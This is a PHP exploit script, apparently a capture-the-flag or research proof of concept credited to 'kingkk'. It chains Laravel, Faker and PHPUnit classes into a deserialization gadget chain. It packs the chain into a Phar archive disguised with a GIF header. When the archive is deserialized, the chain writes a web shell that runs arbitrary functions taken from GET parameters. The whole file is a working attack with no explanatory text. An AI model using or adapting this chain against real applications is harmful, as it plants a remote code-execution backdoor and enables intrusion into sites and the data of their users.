exploit.php

<?php

// Gadget 1
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = new \Faker\ValidGenerator();
            $this->event = "tmp";
        }

        public function __destruct()
        {
            $this->events->dispatch($this->event);
        }
    }
}


namespace Faker{
    // Gadget 2
    class ValidGenerator{
        public function __construct($generator, $validator, $maxRetries = 10000)
        {
            $si = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
            $g1 = new \Faker\Generator(array('tmp' => $si ));
            $g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));
            $rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();
            $this->validator = array($rc, "invoke");
            $this->generator = $g2;
            $this->maxRetries = 10;
        }

        public function __call($name, $arguments)
        {
            $i = 0;
            do
            {
                $res = call_user_func_array(array($this->generator, $name), $arguments);
                $i++;
                if ($i > $this->maxRetries)
                {
                    break;
                }
            } while (!call_user_func($this->validator, $res));
            return $res;
        }
    }

    // Gadget 3
    class Generator{
        function __construct($form)
        {
            $this->formatters = $form;
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }


        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter]))
            {
                return $this->formatters[$formatter];
            }
        }
    }

}

// Gadget 4
namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback{
        public function __construct($callback)
        {
            $this->callback = $callback;
        }

        public function invoke(StaticInvocation $invocation)
        {
            return \call_user_func_array($this->callback, $invocation->getParameters());
        }
    }
}

// Gadget 5
namespace PHPUnit\Framework\MockObject\Invocation{
    class StaticInvocation{
        function __construct()
        {
            $this->parameters = array('./simple_shell.php','<?php $_GET[0]($_GET[1]); ?>');
        }

        public function getParameters(): array
        {
            return $this->parameters;
        }
    }
}


// Chaining all, exploit from kingkk
namespace
{
     $exp = new Illuminate\Broadcasting\PendingBroadcast();
     $p = new Phar('./k.phar', 0);
     $p->startBuffering();
     $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
     $p->setMetadata($exp);
     $p->addFromString('1.txt','text');
     $p->stopBuffering();
}